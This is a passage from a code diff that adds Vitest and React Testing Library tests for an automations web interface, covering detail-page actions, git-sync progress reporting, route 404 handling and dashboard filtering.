+              path="/automations/:automationId"
+              element={<AutomationDetail />}
+            />
+          </Routes>
+        </MemoryRouter>
+      </ActiveBackendProvider>
+    </QueryClientProvider>,
+  );
+}
+
+beforeEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  vi.mocked(AutomationService.checkHealth).mockReset();
+  vi.mocked(AutomationService.checkHealth).mockResolvedValue({ status: "ok" });
+  vi.mocked(AutomationService.dispatchAutomation).mockReset();
+  vi.mocked(AutomationService.dispatchAutomation).mockResolvedValue({
+    id: "run-1",
+    status: AutomationRunStatus.PENDING,
+    conversation_id: null,
+    bash_command_id: null,
+    error_detail: null,
+    started_at: "2026-01-02T00:00:00Z",
+    completed_at: null,
+  });
+
+  vi.mocked(AutomationService.getAutomation).mockReset();
+  vi.mocked(AutomationService.getAutomation).mockResolvedValue(automation);
+  vi.mocked(AutomationService.getAutomationRuns).mockReset();
+  vi.mocked(AutomationService.getAutomationRuns).mockResolvedValue(emptyRuns);
+  vi.mocked(ProfilesService.listProfiles).mockReset();
+  vi.mocked(ProfilesService.listProfiles).mockResolvedValue({
+    profiles: [],
+    active_profile: null,
+  });
+  setRegisteredBackends([localBackend, cloudBackend]);
+  setActiveSelection({ backendId: localBackend.id });
+});
+
+afterEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+});
+
+describe("AutomationDetail — Edit in the kebab menu", () => {
+  it("shows Edit in the kebab menu when the active backend is local", async () => {
+    // Arrange — default beforeEach selects the local backend.
+    const user = userEvent.setup();
+    renderDetail();
+    await waitFor(() => {
+      expect(AutomationService.getAutomation).toHaveBeenCalledTimes(1);
+    });
+
+    // Act — open the kebab menu. The aria-label resolves to the I18n key
+    // in tests because `t` is mocked to return the key itself.
+    await user.click(screen.getByLabelText(I18nKey.AUTOMATIONS$ACTIONS_MENU));
+
+    // Assert — Edit entry is present alongside the other actions.
+    expect(
+      screen.getByRole("button", { name: I18nKey.AUTOMATIONS$EDIT }),
+    ).toBeInTheDocument();
+  });
+
+  it("opens the Edit modal pre-filled from the kebab menu when the active backend is cloud", async () => {
+    // Arrange — switch to the cloud backend BEFORE rendering so the
+    // detail page mounts under cloud (the backend-change guard would
+    // otherwise stop the fetch).
+    setActiveSelection({ backendId: cloudBackend.id });
+    const user = userEvent.setup();
+    renderDetail();
+    await waitFor(() => {
+      expect(AutomationService.getAutomation).toHaveBeenCalledTimes(1);
+    });
+
+    // Act — open the kebab menu and pick Edit.
+    await user.click(screen.getByLabelText(I18nKey.AUTOMATIONS$ACTIONS_MENU));
+    await user.click(
+      screen.getByRole("button", { name: I18nKey.AUTOMATIONS$EDIT }),
+    );
+
+    // Assert — the Edit modal mounts on cloud, pre-filled for this
+    // automation; the permission model (mocked to canManage above) decides,
+    // not the backend kind.
+    const nameInput = (await screen.findByTestId(
+      "edit-automation-name",
+    )) as HTMLInputElement;
+    expect(nameInput.value).toBe(automation.name);
+  });
+});
+
+describe("AutomationDetail — not-found handling", () => {
+  it("renders the not-found state when the lookup rejects with an HttpError 404", async () => {
+    // Arrange — cloud transport 404s surface as the shared client's HttpError.
+    vi.mocked(AutomationService.getAutomation).mockRejectedValue(
+      new HttpError(404, "Not Found", { detail: "No such automation" }),
+    );
+
+    // Act
+    renderDetail();
+
+    // Assert — the 404 branch renders NotFoundState instead of the generic
+    // error state.
+    expect(
+      await screen.findByText(I18nKey.AUTOMATIONS$DETAIL$NOT_FOUND_TITLE),
+    ).toBeInTheDocument();
+  });
+});
+
+describe("AutomationDetail — backend-change guard", () => {
+  it("does not fetch the automation again when the active backend changes after mount", async () => {
+    // Arrange — the page mounts under the local backend; the id in the URL
+    // refers to a local-only automation. Wait for the initial fetch.
+    renderDetail();
+    await waitFor(() => {
+      expect(AutomationService.getAutomation).toHaveBeenCalledTimes(1);
+    });
+    expect(AutomationService.getAutomation).toHaveBeenLastCalledWith("auto-1");
+
+    // Act — flip the active backend to cloud while the detail page is
+    // still mounted (the BackendSelector's redirect lands on the next
+    // tick; the guard must prevent any fetch in this window).
+    setActiveSelection({ backendId: cloudBackend.id });
+
+    // Assert — no second fetch for the now-stale local id is made.
+    // Give react-query a chance to react to the key change before
+    // asserting.
+    await new Promise((resolve) => {
+      setTimeout(resolve, 50);
+    });
+    expect(AutomationService.getAutomation).toHaveBeenCalledTimes(1);
+  });
+
+  it("shows the model field as the persisted model profile name", async () => {
+    renderDetail();
+
+    expect(await screen.findByText("daily-profile")).toBeInTheDocument();
+    expect(screen.queryByText("Claude")).not.toBeInTheDocument();
+  });
+
+  it("dispatches the automation when Run now is clicked", async () => {
+    renderDetail();
+
+    const runNow = await screen.findByRole("button", {
+      name: I18nKey.AUTOMATIONS$RUN_NOW,
+    });
+    fireEvent.click(runNow);
+
+    await waitFor(() => {
+      expect(AutomationService.dispatchAutomation).toHaveBeenCalledWith(
+        "auto-1",
+      );
+    });
+    expect(AutomationService.dispatchAutomation).toHaveBeenCalledTimes(1);
+  });
+
+  it("does not dispatch when Run now is clicked on a disabled automation", async () => {
+    // Arrange — the detail page loads a turned-off automation.
+    vi.mocked(AutomationService.getAutomation).mockResolvedValue({
+      ...automation,
+      enabled: false,
+    });
+    const user = userEvent.setup();
+    renderDetail();
+    const runNow = await screen.findByRole("button", {
+      name: I18nKey.AUTOMATIONS$RUN_NOW,
+    });
+
+    // Act — userEvent honors the disabled attribute and suppresses the click.
+    await user.click(runNow);
+
+    // Assert — the off-state gate prevents the dispatch API from firing.
+    expect(runNow).toBeDisabled();
+    expect(AutomationService.dispatchAutomation).not.toHaveBeenCalled();
+  });
+});
+
+describe("AutomationDetail — Automation Runs As", () => {
+  const creatorId = "3f1c2a54-0b8e-4c1d-9a7e-5d2f6b8c9e01";
+  const orgId = "0b93b5f2-5396-49f2-8d98-61f906184270";
+  const cloudAutomation: Automation = { ...automation, user_id: creatorId };
+
+  beforeEach(() => {
+    vi.mocked(getCloudOrganizationMember).mockReset();
+    vi.mocked(AutomationService.getAutomation).mockResolvedValue(
+      cloudAutomation,
+    );
+  });
+
+  it("shows the creator's email on a cloud backend", async () => {
+    // Arrange — the creator resolves to an org member with an email.
+    setActiveSelection({ backendId: cloudBackend.id, orgId });
+    vi.mocked(getCloudOrganizationMember).mockResolvedValue({
+      org_id: orgId,
+      user_id: creatorId,
+      email: "jdoe@acme.com",
+    });
+
+    // Act
+    renderDetail();
+
+    // Assert — the field is labelled and shows the resolved email.
+    expect(await screen.findByText("jdoe@acme.com")).toBeInTheDocument();
+    expect(
+      screen.getByText(I18nKey.AUTOMATIONS$DETAIL$RUNS_AS),
+    ).toBeInTheDocument();
+    expect(getCloudOrganizationMember).toHaveBeenCalledWith(
+      orgId,
+      creatorId,
+      expect.objectContaining({ id: cloudBackend.id }),
+    );
+  });
+
+  it("falls back to the raw user id when the member lookup fails", async () => {
+    // Arrange — e.g. the creator left the org, or an older app-server
+    // without the member-by-id route: the lookup 404s.
+    setActiveSelection({ backendId: cloudBackend.id, orgId });
+    vi.mocked(getCloudOrganizationMember).mockRejectedValue(
+      new HttpError(404, "Not Found", { detail: "Member not found" }),
+    );
+
+    // Act
+    renderDetail();
+
+    // Assert — the field still identifies the run identity by id.
+    expect(await screen.findByText(creatorId)).toBeInTheDocument();
+    expect(
+      screen.getByText(I18nKey.AUTOMATIONS$DETAIL$RUNS_AS),
+    ).toBeInTheDocument();
+  });
+
+  it("does not show the field or look up the member on a local backend", async () => {
+    // Arrange — default beforeEach selects the local backend.
+    renderDetail();
+    await waitFor(() => {
+      expect(AutomationService.getAutomation).toHaveBeenCalledTimes(1);
+    });
+
+    // Act — wait for the page to render its configuration.
+    expect(await screen.findByText("daily-profile")).toBeInTheDocument();
+
+    // Assert — no identity field and no cloud call for local automations.
+    expect(
+      screen.queryByText(I18nKey.AUTOMATIONS$DETAIL$RUNS_AS),
+    ).not.toBeInTheDocument();
+    expect(getCloudOrganizationMember).not.toHaveBeenCalled();
+  });
+});
+
+describe("AutomationDetail — disabled reason banner", () => {
+  it("surfaces the latest disablement reason on an inactive automation", async () => {
+    // Arrange — an automation paused automatically for a permanent config fault.
+    const reason =
+      "Paused automatically: auth — Invalid API key. This failed the last 3 runs and needs a configuration fix.";
+    vi.mocked(AutomationService.getAutomation).mockResolvedValue({
+      ...automation,
+      enabled: false,
+      disabled_reason: reason,
+      disabled_detail: {
+        reason: "consecutive_permanent_failures",
+        source: "consecutive_permanent_failures",
+      },
+      disabled_at: "2026-09-14T10:00:00Z",
+    });
+
+    // Act
+    renderDetail();
+    await waitFor(() => {
+      expect(AutomationService.getAutomation).toHaveBeenCalledTimes(1);
+    });
+
+    // Assert — the banner renders the backend's human-readable reason.
+    expect(
+      await screen.findByTestId("automation-disabled-reason-banner"),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByTestId("automation-disabled-reason-text"),
+    ).toHaveTextContent(reason);
+  });
+
+  it("does not render the banner for an enabled automation", async () => {
+    // Arrange — default beforeEach returns the enabled automation fixture.
+    renderDetail();
+    await waitFor(() => {
+      expect(AutomationService.getAutomation).toHaveBeenCalledTimes(1);
+    });
+    await screen.findByText(automation.name);
+
+    // Assert
+    expect(
+      screen.queryByTestId("automation-disabled-reason-banner"),
+    ).not.toBeInTheDocument();
+  });
+});
diff --git a/__tests__/routes/automation-git-sync.test.tsx b/__tests__/routes/automation-git-sync.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..7438c3f1fb6118f1f69244bd50cd976de0795bd3
--- /dev/null
+++ b/__tests__/routes/automation-git-sync.test.tsx
@@ -0,0 +1,272 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { act, fireEvent, render, screen } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { MemoryRouter, Route, Routes } from "react-router";
+import { HttpError } from "@openhands/typescript-client";
+
+import { I18nKey } from "#/i18n/declaration";
+import AutomationService from "#/api/automation-service/automation-service.api";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import AutomationGitSync from "#/routes/automation-git-sync";
+import type { Backend } from "#/api/backend-registry/types";
+import type { GitSyncStatus } from "#/types/git-sync";
+
+vi.mock("#/api/automation-service/automation-service.api", () => ({
+  default: {
+    getGitSyncStatus: vi.fn(),
+    updateGitSyncConfig: vi.fn(),
+    triggerGitSync: vi.fn(),
+    checkHealth: vi.fn(),
+  },
+}));
+
+const displayErrorToast = vi.fn();
+const displaySuccessToast = vi.fn();
+
+vi.mock("#/utils/custom-toast-handlers", () => ({
+  displayErrorToast: (message: string) => displayErrorToast(message),
+  displaySuccessToast: (message: string) => displaySuccessToast(message),
+}));
+
+const localBackend: Backend = {
+  id: "local-1",
+  name: "Local 1",
+  host: "http://localhost:8000",
+  apiKey: "session-key",
+  kind: "local",
+};
+
+const status: GitSyncStatus = {
+  enabled: true,
+  repo_url: "https://example.com/org/repo.git",
+  branch: "main",
+  path: "automations",
+  encryption_enabled: false,
+  interval_seconds: 0,
+  last_synced_commit: "abc1234",
+  last_synced_at: "2026-08-10T00:00:00Z",
+  last_error: null,
+  last_error_at: null,
+  dirty_count: 0,
+};
+
+function renderGitSync() {
+  const queryClient = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  const view = render(
+    <QueryClientProvider client={queryClient}>
+      <ActiveBackendProvider>
+        <MemoryRouter initialEntries={["/automations/git-sync"]}>
+          <Routes>
+            <Route
+              path="/automations/git-sync"
+              element={<AutomationGitSync />}
+            />
+          </Routes>
+        </MemoryRouter>
+      </ActiveBackendProvider>
+    </QueryClientProvider>,
+  );
+  return { ...view, queryClient };
+}
+
+beforeEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  vi.mocked(AutomationService.checkHealth).mockReset();
+  vi.mocked(AutomationService.checkHealth).mockResolvedValue({ status: "ok" });
+  vi.mocked(AutomationService.getGitSyncStatus).mockReset();
+  vi.mocked(AutomationService.getGitSyncStatus).mockResolvedValue(status);
+  vi.mocked(AutomationService.triggerGitSync).mockReset();
+  vi.mocked(AutomationService.triggerGitSync).mockResolvedValue({
+    triggered: true,
+  });
+  displayErrorToast.mockReset();
+  displaySuccessToast.mockReset();
+  setRegisteredBackends([localBackend]);
+  setActiveSelection({ backendId: localBackend.id });
+});
+
+afterEach(() => {
+  vi.useRealTimers();
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+});
+
+describe("AutomationGitSync — backend without the git-sync API", () => {
+  it("names the missing API instead of showing the generic error panel", async () => {
+    // Every released automation version below the one that ships the router
+    // answers 404 here, which used to settle on "something went wrong".
+    vi.mocked(AutomationService.getGitSyncStatus).mockRejectedValue(
+      new HttpError(404, "Not Found", { detail: "Not Found" }),
+    );
+
+    renderGitSync();
+
+    expect(
+      await screen.findByText(I18nKey.AUTOMATIONS$GIT_SYNC$UNSUPPORTED_TITLE),
+    ).toBeInTheDocument();
+    // A permanent 404 is not worth retrying.
+    expect(AutomationService.getGitSyncStatus).toHaveBeenCalledTimes(1);
+  });
+});
+
+describe("AutomationGitSync — failed background refetch", () => {
+  it("keeps the loaded page instead of replacing it with the error panel", async () => {
+    vi.useFakeTimers();
+    renderGitSync();
+    await act(async () => {
+      await vi.advanceTimersByTimeAsync(1);
+    });
+    expect(screen.getByTestId("git-sync-repo-url-input")).toBeInTheDocument();
+
+    // Break the endpoint the way an automation backend restart would, then
+    // let the post-trigger poll run into it.
+    vi.mocked(AutomationService.getGitSyncStatus).mockRejectedValue(
+      new HttpError(502, "Bad Gateway", { detail: "upstream restarting" }),
+    );
+    await act(async () => {
+      fireEvent.click(screen.getByTestId("git-sync-now-button"));
+      // Several 3s polls plus their retries and backoff.
+      await vi.advanceTimersByTimeAsync(20_000);
+    });
+
+    // The config form is still mounted, so nothing half-typed in it is lost.
+    expect(screen.getByTestId("git-sync-repo-url-input")).toBeInTheDocument();
+    expect(screen.queryByText(I18nKey.ERROR$GENERIC)).not.toBeInTheDocument();
+  });
+});
+
+describe("AutomationGitSync — sync progress", () => {
+  /** Load the page with fake timers already running. */
+  async function loadPage() {
+    vi.useFakeTimers();
+    renderGitSync();
+    await act(async () => {
+      await vi.advanceTimersByTimeAsync(1);
+    });
+    return screen.getByTestId("git-sync-now-button");
+  }
+
+  const activityRow = () => screen.queryByTestId("git-sync-activity-row");
+
+  it("reports the running cycle in the page rather than with a toast", async () => {
+    // The trigger returns as soon as the cycle is scheduled, so a toast can
+    // only ever say "started" and never how it ended.
+    const syncNow = await loadPage();
+
+    await act(async () => {
+      fireEvent.click(syncNow);
+      await vi.advanceTimersByTimeAsync(0);
+    });
+
+    expect(activityRow()).toHaveAttribute("data-state", "running");
+    expect(displaySuccessToast).not.toHaveBeenCalled();
+    expect(syncNow).toHaveTextContent(I18nKey.AUTOMATIONS$GIT_SYNC$SYNCING);
+    expect(syncNow).toBeDisabled();
+  });
+
+  it("resolves as soon as the cycle lands, without waiting out the window", async () => {
+    const syncNow = await loadPage();
+    await act(async () => {
+      fireEvent.click(syncNow);
+      await vi.advanceTimersByTimeAsync(0);
+    });
+
+    // The backend finishes the cycle: a newer success than the one the page
+    // started from.
+    vi.mocked(AutomationService.getGitSyncStatus).mockResolvedValue({
+      ...status,
+      last_synced_at: "2026-08-11T00:00:00Z",
+      last_synced_commit: "def5678",
+    });
+    await act(async () => {
+      await vi.advanceTimersByTimeAsync(4_000);
+    });
+
+    expect(activityRow()).toHaveAttribute("data-state", "succeeded");
+    // Released well inside the 30s window the page used to sit out.
+    expect(syncNow).not.toBeDisabled();
+  });
+
+  it("reports a cycle that failed", async () => {
+    const syncNow = await loadPage();
+    await act(async () => {
+      fireEvent.click(syncNow);
+      await vi.advanceTimersByTimeAsync(0);
+    });
+
+    vi.mocked(AutomationService.getGitSyncStatus).mockResolvedValue({
+      ...status,
+      last_error: "fatal: Authentication failed",
+      last_error_at: "2026-08-11T00:00:00Z",
+    });
+    await act(async () => {
+      await vi.advanceTimersByTimeAsync(4_000);
+    });
+
+    expect(activityRow()).toHaveAttribute("data-state", "failed");
+    expect(screen.getByTestId("git-sync-error-banner")).toHaveTextContent(
+      "fatal: Authentication failed",
+    );
+  });
+
+  it("follows a cycle the backend started on its own", async () => {
+    // An interval-driven sync, or one triggered from another tab: the page
+    // never asked for it, so only `sync_in_progress` reveals it.
+    vi.mocked(AutomationService.getGitSyncStatus).mockResolvedValue({
+      ...status,
+      sync_in_progress: true,
+      sync_started_at: "2026-08-10T00:00:05Z",
+    });
+
+    const syncNow = await loadPage();
+
+    expect(activityRow()).toHaveAttribute("data-state", "running");
+    expect(syncNow).toBeDisabled();
+    expect(AutomationService.triggerGitSync).not.toHaveBeenCalled();
+  });
+
+  it("gives up on a backend that never reports the cycle", async () => {
+    // Fallback for an automation backend without `sync_in_progress`: the page
+    // can only wait a bounded time for an outcome that may never come.
+    const syncNow = await loadPage();
+    await act(async () => {
+      fireEvent.click(syncNow);
+      await vi.advanceTimersByTimeAsync(0);
+    });
+    expect(activityRow()).toHaveAttribute("data-state", "running");
+
+    await act(async () => {
+      await vi.advanceTimersByTimeAsync(31_000);
+    });
+
+    expect(activityRow()).not.toBeInTheDocument();
+    expect(syncNow).not.toBeDisabled();
+  });
+
+  it("keeps reporting the trigger's own failure with a toast", async () => {
+    // A rejected request never becomes a cycle, so there is no progress to
+    // show for it -- 503 means sync is switched off.
+    vi.mocked(AutomationService.triggerGitSync).mockRejectedValue({
+      status: 503,
+    });
+    const syncNow = await loadPage();
+
+    await act(async () => {
+      fireEvent.click(syncNow);
+      await vi.advanceTimersByTimeAsync(0);
+    });
+
+    expect(displayErrorToast).toHaveBeenCalledWith(
+      I18nKey.AUTOMATIONS$GIT_SYNC$SYNC_DISABLED_ERROR,
+    );
+    expect(activityRow()).not.toBeInTheDocument();
+  });
+});
diff --git a/__tests__/routes/automation-routes-without-interface.test.ts b/__tests__/routes/automation-routes-without-interface.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..cbf4e6739bc0d46bc26d6af761d2eda285ecdf58
--- /dev/null
+++ b/__tests__/routes/automation-routes-without-interface.test.ts
@@ -0,0 +1,46 @@
+import { describe, expect, it, vi } from "vitest";
+
+/**
+ * Without an admitted interface manifest there is no automation surface to
+ * render — the pages exist only to render what a manifest describes. Each
+ * route says so the way the host says it everywhere else: a 404 the layout's
+ * error boundary renders.
+ */
+vi.mock("#/manifests/manifest-sources", async (importOriginal) => {
+  const actual =
+    await importOriginal<typeof import("#/manifests/manifest-sources")>();
+  return { ...actual, AUTOMATION_INTERFACE_CANDIDATE: undefined };
+});
+
+function statusOfLoader(load: () => unknown): number | null {
+  try {
+    load();
+  } catch (error) {
+    return error instanceof Response ? error.status : null;
+  }
+  return null;
+}
+
+describe("the automation routes without an admitted interface manifest", () => {
+  it("404s every automation route", async () => {
+    // Arrange
+    const [list, detail, setup, templates] = await Promise.all([
+      import("#/routes/automations-list"),
+      import("#/routes/automation-detail"),
+      import("#/routes/automation-setup-route"),
+      import("#/routes/automation-templates"),
+    ]);
+
+    // Act & Assert
+    expect({
+      list: statusOfLoader(() => list.clientLoader()),
+      detail: statusOfLoader(() => detail.clientLoader()),
+      setup: statusOfLoader(() =>
+        setup.clientLoader({
+          params: { automationId: "github-pr-reviewer" },
+        } as Parameters<typeof setup.clientLoader>[0]),
+      ),
+      templates: statusOfLoader(() => templates.clientLoader()),
+    }).toEqual({ list: 404, detail: 404, setup: 404, templates: 404 });
+  });
+});
diff --git a/__tests__/routes/automation-setup-route.test.ts b/__tests__/routes/automation-setup-route.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..6b255253a86a78c84c712a46bf557f9e7bf11976
--- /dev/null
+++ b/__tests__/routes/automation-setup-route.test.ts
@@ -0,0 +1,20 @@
+import { describe, expect, it } from "vitest";
+import routes from "#/routes";
+
+describe("automation setup route", () => {
+  it("claims the path an automation card links to", () => {
+    // Arrange — a card that ships a setup experience links to
+    // `/automations/new/<id>`, so a route has to serve that shape.
+    const rootLayout = routes.find(
+      (route) => route.file === "routes/root-layout.tsx",
+    );
+
+    // Act
+    const setupRoute = rootLayout?.children?.find(
+      (route) => route.file === "routes/automation-setup-route.tsx",
+    );
+
+    // Assert
+    expect(setupRoute?.path).toBe("automations/new/:automationId");
+  });
+});
diff --git a/__tests__/routes/automations-dashboard.test.tsx b/__tests__/routes/automations-dashboard.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..7f05657c7726fdac4399daec876b5c958f8b6410
--- /dev/null
+++ b/__tests__/routes/automations-dashboard.test.tsx
@@ -0,0 +1,338 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import React from "react";
+import { render, screen, waitFor, within } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { MemoryRouter } from "react-router";
+
+import { I18nKey } from "#/i18n/declaration";
+import AutomationService from "#/api/automation-service/automation-service.api";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import AutomationsList from "#/routes/automations-list";
+import AutomationTemplates, {
+  clientLoader as templatesLoader,
+} from "#/routes/automation-templates";
+import type { Backend } from "#/api/backend-registry/types";
+import {
+  AutomationRunStatus,
+  type Automation,
+  type AutomationRun,
+} from "#/types/automation";
+
+// Replace the published data source with the widget-themed manifest that
+// declares the full sub-page surface; admission itself stays real.
+vi.mock("#/manifests/manifest-sources", async (importOriginal) => {
+  const actual =
+    await importOriginal<typeof import("#/manifests/manifest-sources")>();
+  const { createInterfaceManifestWithSubPages } =
+    await import("../manifests/manifest-test-data");
+  return {
+    ...actual,
+    AUTOMATION_INTERFACE_CANDIDATE: createInterfaceManifestWithSubPages(),
+  };
+});
+
+vi.mock("#/api/automation-service/automation-service.api", () => ({
+  default: {
+    getAutomations: vi.fn(),
+    getAutomationRuns: vi.fn(),
+    checkHealth: vi.fn(),
+    toggleAutomation: vi.fn(),
+    updateAutomation: vi.fn(),
+    deleteAutomation: vi.fn(),
+    dispatchAutomation: vi.fn(),
+  },
+}));
+
+const localBackend: Backend = {
+  id: "local-1",
+  name: "Local 1",
+  host: "http://localhost:8000",
+  apiKey: "session-key",
+  kind: "local",
+};
+
+function createAutomation(overrides: Partial<Automation>): Automation {
+  return {
+    id: "a-ok",
+    name: "Alpha widget",
+    trigger: { type: "cron", schedule: "0 9 * * *" },
+    enabled: true,
+    prompt: "Watch the widgets",
+    created_at: "2026-01-01T00:00:00Z",
+    updated_at: "2026-01-01T00:00:00Z",
+    ...overrides,
+  };
+}
+
+function createRun(overrides: Partial<AutomationRun>): AutomationRun {
+  return {
+    id: "run-1",
+    status: AutomationRunStatus.COMPLETED,
+    conversation_id: null,
+    bash_command_id: null,
+    error_detail: null,
+    started_at: "2026-01-02T00:00:00Z",
+    completed_at: "2026-01-02T00:01:00Z",
+    ...overrides,
+  };
+}
+
+// Alphabetically first but least recently run, so the manifest's "name"
+// default is distinguishable from the host's usual last-run ordering.
+const okAutomation = createAutomation({});
+const brokenAutomation = createAutomation({
+  id: "a-broken",
+  name: "Broken widget",
+});
+
+function renderAt(path: string, page: React.ReactElement) {
+  const client = new QueryClient({
+    defaultOptions: { queries: { retry: false }, mutations: { retry: false } },
+  });
+  return render(
+    <QueryClientProvider client={client}>
+      <ActiveBackendProvider>
+        <MemoryRouter initialEntries={[path]}>{page}</MemoryRouter>
+      </ActiveBackendProvider>
+    </QueryClientProvider>,
+  );
+}
+
+async function renderDashboardWithSettledInsights() {
+  renderAt("/automations", <AutomationsList />);
+  await screen.findByTestId("automation-card-a-ok");
+  // Insights have settled once the failed run's status is on the card.
+  await within(
+    await screen.findByTestId("automation-card-a-broken"),
+  ).findByTestId("run-status-icon-failed");
+}
+
+beforeEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  vi.mocked(AutomationService.checkHealth).mockReset();
+  vi.mocked(AutomationService.checkHealth).mockResolvedValue({ status: "ok" });
+  vi.mocked(AutomationService.getAutomations).mockReset();
+  vi.mocked(AutomationService.getAutomations).mockResolvedValue({
+    automations: [okAutomation, brokenAutomation],
+    total: 2,
+  });
+  vi.mocked(AutomationService.getAutomationRuns).mockReset();
+  vi.mocked(AutomationService.getAutomationRuns).mockImplementation((id) =>
+    id === "a-broken"
+      ? Promise.resolve({
+          runs: [
+            createRun({
+              status: AutomationRunStatus.FAILED,
+              started_at: "2026-01-05T00:00:00Z",
+              completed_at: "2026-01-05T00:00:30Z",
+            }),
+          ],
+          total: 4,
+        })
+      : Promise.resolve({ runs: [createRun({})], total: 6 }),
+  );
+  setRegisteredBackends([localBackend]);
+  setActiveSelection({ backendId: localBackend.id });
+});
+
+afterEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+});
+
+describe("AutomationsList — manifest-declared dashboard", () => {
+  it("composes the manifest's sub-page surface around the list", async () => {
+    // Arrange & Act
+    await renderDashboardWithSettledInsights();
+
+    // Assert — navigation, tiles, and controls all carry manifest captions;
+    // the full catalog stays on Templates, and the compact rail is empty-state only.
+    const nav = screen.getByTestId("automations-navbar-desktop");
+    const automationsTile = screen.getByTestId("overview-tile-automations");
+    const filters = screen.getByTestId("automations-filters");
+    await userEvent.click(within(filters).getByTestId("dropdown-trigger"));
+    expect({
+      navLabels: [
+        within(nav).getByText("Widget dashboard"),
+        within(nav).getByText("Widget templates"),
+      ].length,
+      tileCaption: within(automationsTile).getByText("Widget count"),
+      tileDetail: within(automationsTile).getByText("2 live"),
+      statusFilter: screen.getByLabelText("Filter widgets by state"),
+      sortControl: screen.getByLabelText("Order widgets"),
+      statsCaptions: screen.getAllByText("Widget wins").length,
+      activity: screen.getAllByTestId(/^automation-activity-/).length,
+      launcher: screen.queryByTestId("recommended-automations-section"),
+      rail: screen.queryByTestId("recommended-automations-rail"),
+    }).toMatchObject({
+      navLabels: 2,
+      statsCaptions: 2,
+      activity: 2,
+      launcher: null,
+      rail: null,
+    });
+  });
+
+  it("orders the list by the manifest's declared sort default", async () => {
+    // Arrange & Act — the widget manifest defaults to the name sort, while
+    // the broken automation has the newer run.
+    await renderDashboardWithSettledInsights();
+
+    // Assert
+    const cards = screen.getAllByTestId(/^automation-card-/);
+    expect(cards.map((card) => card.getAttribute("data-testid"))).toEqual([
+      "automation-card-a-ok",
+      "automation-card-a-broken",
+    ]);
+  });
+
+  it("nests status, trigger, and sort dropdowns inside one Filters control", async () => {
+    // Arrange
+    const user = userEvent.setup();
+    await renderDashboardWithSettledInsights();
+
+    // Assert — the three filters stay inside the combined menu until opened.
+    expect(screen.queryByTestId("automations-filter-status")).toBeNull();
+    expect(screen.queryByTestId("automations-filter-trigger")).toBeNull();
+    expect(screen.queryByTestId("automations-sort")).toBeNull();
+
+    // Act
+    await user.click(
+      within(screen.getByTestId("automations-filters")).getByTestId(
+        "dropdown-trigger",
+      ),
+    );
+
+    // Assert
+    expect(
+      within(screen.getByTestId("automations-filters-menu")).getByTestId(
+        "automations-filter-status",
+      ),
+    ).toBeInTheDocument();
+    expect(
+      within(screen.getByTestId("automations-filters-menu")).getByTestId(
+        "automations-filter-trigger",
+      ),
+    ).toBeInTheDocument();
+    expect(
+      within(screen.getByTestId("automations-filters-menu")).getByTestId(
+        "automations-sort",
+      ),
+    ).toBeInTheDocument();
+    expect(
+      within(screen.getByTestId("automations-filters-menu")).getByText(
+        "Filter widgets by state",
+      ),
+    ).toBeInTheDocument();
+    expect(
+      within(screen.getByTestId("automations-filters-menu")).getByText(
+        "Filter widgets by trigger",
+      ),
+    ).toBeInTheDocument();
+    expect(
+      within(screen.getByTestId("automations-filters-menu")).getByText(
+        "Order widgets",
+      ),
+    ).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("automations-filters-reset"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("resets applied filters from the Filters menu", async () => {
+    // Arrange
+    const user = userEvent.setup();
+    await renderDashboardWithSettledInsights();
+    await user.click(
+      within(screen.getByTestId("automations-filters")).getByTestId(
+        "dropdown-trigger",
+      ),
+    );
+    await user.click(
+      within(screen.getByTestId("automations-filter-status")).getByTestId(
+        "dropdown-trigger",
+      ),
+    );
+    await user.click(screen.getByTestId("automations-filter-status-failing"));
+    await waitFor(() => {
+      expect(screen.queryByTestId("automation-card-a-ok")).toBeNull();
+    });
+
+    // Act
+    await user.click(screen.getByTestId("automations-filters-reset"));
+
+    // Assert
+    await screen.findByTestId("automation-card-a-ok");
+    expect(screen.getByTestId("automation-card-a-broken")).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("automations-filters-reset"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("narrows to latest-run failures through the status filter", async () => {
+    // Arrange
+    const user = userEvent.setup();
+    await renderDashboardWithSettledInsights();
+
+    // Act — open Filters, then pick the manifest's "failing" option.
+    await user.click(
+      within(screen.getByTestId("automations-filters")).getByTestId(
+        "dropdown-trigger",
+      ),
+    );
+    await user.click(
+      within(screen.getByTestId("automations-filter-status")).getByTestId(
+        "dropdown-trigger",
+      ),
+    );
+    await user.click(screen.getByTestId("automations-filter-status-failing"));
+
+    // Assert
+    await waitFor(() => {
+      expect(screen.queryByTestId("automation-card-a-ok")).toBeNull();
+    });
+    expect(screen.getByTestId("automation-card-a-broken")).toBeInTheDocument();
+  });
+
+  it("clears search and filters back to a neutral view", async () => {
+    // Arrange — search something no automation matches.
+    const user = userEvent.setup();
+    await renderDashboardWithSettledInsights();
+    const search = screen.getByLabelText(
+      I18nKey.AUTOMATIONS$SEARCH_PLACEHOLDER,
+    );
+    await user.type(search, "gadget");
